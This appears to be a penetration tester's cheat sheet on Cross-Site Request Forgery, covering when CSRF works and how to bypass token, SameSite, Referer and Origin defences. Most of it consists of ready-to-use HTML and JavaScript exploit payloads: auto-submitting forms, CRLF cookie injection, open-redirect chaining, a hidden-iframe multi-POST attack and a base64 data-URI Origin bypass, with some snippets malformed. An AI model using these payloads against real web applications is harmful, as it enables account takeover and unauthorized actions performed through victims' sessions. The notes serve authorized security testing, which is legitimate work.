Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unintended actions on a web application in which they are currently authenticated.
With a little social engineering help (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker’s choosing. A successful CSRF exploit can compromise end user data and operation when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.
- Testing for Cross Site Request Forgery (OWASP, WSTG-SESS-005)
- Cross Site Request Forgery (CSRF) (PortSwigger)
- Defending against CSRF with SameSite cookies (PortSwigger)
If you need an email address to create a user with CSRF, use one from https://webhook.site/ to receive the confirmation email with the password reset link!
Vulnerability description for reporting available in VulnDB (GitHub)
Conditions for CSRF
- A relevant action within the application, e.g. changing the user’s password, creating an account, etc.
- The application must rely on a session cookie to identify the user who has made the requests without other mechanisms for tracking sessions or validating user requests. If the API uses JWT (Authorization: Bearer), this will not be transmitted so CSRF is not possible.
- No unpredictable request parameters, like providing the current password in a password change request.
Other things to consider:
- If the session token is in the Session Storage, CSRF will not be possible. Session Storage keys & values cannot be accessed from other tabs.
- If the session cookie uses the Samesite:Lax setting, the cookie will not be transferred for POST requests, but will be transferred for GET requests. See PortSwigger post about it.
Testing CSRF
No defense
Create the form without any defense and access it while being logged into the web application.
<body onload='document.forms[0].submit()'>
<form action="<server URL>/<some page>" method="POST">
...
</form>
</body>
Bypass Token Validation
See Bypassing CSRF token validation.
Validation based on request method
CSRF token validation may be only effective depending on the request method. Create the HTML form but use GET instead of POST.
<form ... method="GET">
Validation based on the token being present
Submit the form but remove the CSRF token field.
CSRF where token is not tied to user session
Some applications do not validate that the token belongs to the same session as the user who is making the request. Log in with a user. Use this user’s CSRF token value in the exploit.
CSRF where token is tied to non-session cookie
Prerequisite: The attacker must be able to set a cookie in the victim’s browser, for example via a vulnerable search parameter.
Some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together.
The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.
<body>
<img src="https://webapp/?search=whatever%0d%0aSet-Cookie:%20csrfKey=some-value%3b%20SameSite=None" onerror="document.forms[0].submit()">
<form action="<server URL>/<some page>" method="POST">
...
<input required type=hidden name=csrf-token value=attacker-token-value>
</form>
</body>
CSRF where token is duplicated in cookie
Prerequisite: The attacker must be able to set a cookie in the victim’s browser, for example via a vulnerable search parameter.
In this scenario, the web application only validates that the cookie “csrf” has the same value as the parameter “csrf” in the request’s body.
<body>
<img src="https://webapp/?search=whatever%0d%0aSet-Cookie:%20csrf=thisisnotarealtoken%3b%20SameSite=None" onerror="document.forms[0].submit()">
<form action="<server URL>/<some page>" method="POST">
...
<input required type=hidden name=csrf value=thisisnotarealtoken>
</form>
</body>
Bypass SameSite Cookie Attribute
SameSite cookie attribute determines when a website’s cookies are included in requests originating from other websites. Chrome applies Lax by default when attribute is not specified. A site is the protocol and domain (http is not the same site as https). E.g. site for https://subdomain.example.com:1234 is https://example.com. See documentation from PortSwigger for more examples.
- Strict: browsers will not send the cookie in any cross-site requests. If the target site for the request does not match the site currently shown in the browser’s address bar, it will not include the cookie.
- Lax: browsers will send the cookie in cross-site requests only if the request uses GET and comes from a top-level navigation by the user (like clicking a link).
- None: disables SameSite restrictions. Browsers will send this cookie in all requests to the site that issued it, even those that were triggered by completely unrelated third-party sites. Default behavior in most browsers except Chrome when SameSite is not specified.
Bypass SameSite=Lax restriction using GET requests
Override the POST method with a GET using the _method parameter (parameter depends on the framework used). The exploit must also cause a top-level navigation in order for the cookie to be included.
<script>
document.location = 'https://webapp/some-action?param1=value1¶m2=value2&_method=POST';
</script>
Bypass SameSite=Strict using Open Redirection
Find an Open Redirection vulnerability in the application and use it to execute the CSRF payload. URL-encode the “?” (%3f) and “&” (%26) characters in the open redirect payload.
<script>
document.location = 'https://webapp/vulnerable-to-open-redirect?redirect=../../some-action%3fparam1=value1%26param2=value2%26_method=POST';
</script>
Bypass Referer
TO COMPLETE
Examples
Self-contained CSRF with GET method
Simple CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable web site. The attacker can directly feed victims a malicious URL on the vulnerable domain.
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
CSRF – Example 1 with JSON
Reproduce the form in HTML.
<form action="" method=post enctype="application/json" method="POST">
<input name='{"id":"1","email":"attacker@attacker.com"}' type='hidden'>
<input type=submit>
</form>
</html>
CSRF – Example 2 with JSON
Reproduce the form in a HTML file. enctype gives encoded URL.
<body onload='document.forms[0].submit()'>
<form method='POST' enctype='application/json' action="https://someurl/api/users?callback=jsonpcallback">
<input name='{ "userName": "userCRSF", "email": "attacker@domain.com", "firstName": "Test", "lastName": "CSRF", "trash": "' value='"}'>
</form>
</body>
CSRF – Example 3
Reproduce the form in a HTML file. Host it locally or on a web server (to bypass some Referrer protection)
<html>
<!-- Remove the referrer header, which can bypass some CSRF checks. -->
<head></head>
<body>
<script>history.pushState('', '', '/');
<form action="https://url/change_password" method="POST">
<input type="hidden" name="new_password" value="NewPass2" />
<input type="hidden" name="confirm_new_password" value="NewPass2" />
<input type="hidden" name="save" value="" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();
</body>
CSRF – Example with multiple POST requests
Reproduce the form in a HTML file. Host it locally or on a web server (to bypass some Referrer protection).
From https://www.lanmaster53.com/2013/07/17/multi-post-csrf/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script language="javascript">
window.onload = function() {
document.getElementById("csrfForm1").submit();
// to make 2nd form wait for 1st, put the following in a function and use as a callback for a new timer
document.getElementById("csrfForm2").submit();
}
// defeat frame busters
window.onbeforeunload = function() {
return "Please click 'Stay on this page' to allow it to finish loading.";
}
</script>
</head>
<body>
<form id="csrfForm1" action=<!-- fill in POST URL here --> method="POST" target="csrfIframe1">
<input type="hidden" name="" value="" />
<!-- fill in form data here -->
</form>
<form id="csrfForm2" action=<!-- fill in POST URL here --> method="POST" target="csrfIframe2">
<!-- fill in form data here -->
</form>
<!-- hidden iframes -->
<iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe1"></iframe>
<iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe2"></iframe>
</body>
</html>
Bypass CSRF protection
https://www.bugbountynotes.com/mobile/tutorial?id=5
CSRF protection via referer:
https://www.yoursite.com/https://www.theirsite.com/
Some sites only check if it CONTAINS their website url, meaning we can just create a file/folder on our site to send the CSRF request from.
Send a blank referer Submitting a form (as shown in blog linked above) inside an iframe will actually give you a blank referer. Sometimes this is enough to bypass their protection.
Submit a blank origin This will only work on Firefox but if base64 encoded your form above and then submitted it inside an iframe, the Origin header is set to null, or sometimes not sent at all. Some sites will only check if the header is present 😉
Encode web page in base 64 and replace it in the example below:
<iframe src=data:text/html;base64,PGh0bWw+CiAgICA8Ym9keT4KICAgICAgICA8Zm9ybSBFTkNUWVBFPSJ0ZXh0L3BsYWluIiBhY3Rpb249Imh0dHA6Ly92dWxuc2l0ZS5jb20vc25pcC9zbmlwcGV0LnBocCIgbWV0aG9kPSJwb3N0Ij4gCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieyJwYXJhbXMiOnsibGltaXQiOjIwLCJhbmQiOmZhbHNlLCJmaWx0ZXJzIjpbXSwiZXhjbHVkZWRfY29udGFjdHMiOltdfSwiZmllbGRzIjpbIkZpcnN0IE5hbWUiLCJMYXN0IE5hbWUiLCJFbWFpbCBBZGRyZXNzIl0sInJlY2lwaWVudCI6ImF0dGFja2VyKzIiIHZhbHVlPSdAZ21haWwuY29tJz4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic3VibWl0Ij4gPC9mb3JtPgogICAgPC9ib2R5Pgo8L2h0bWw+>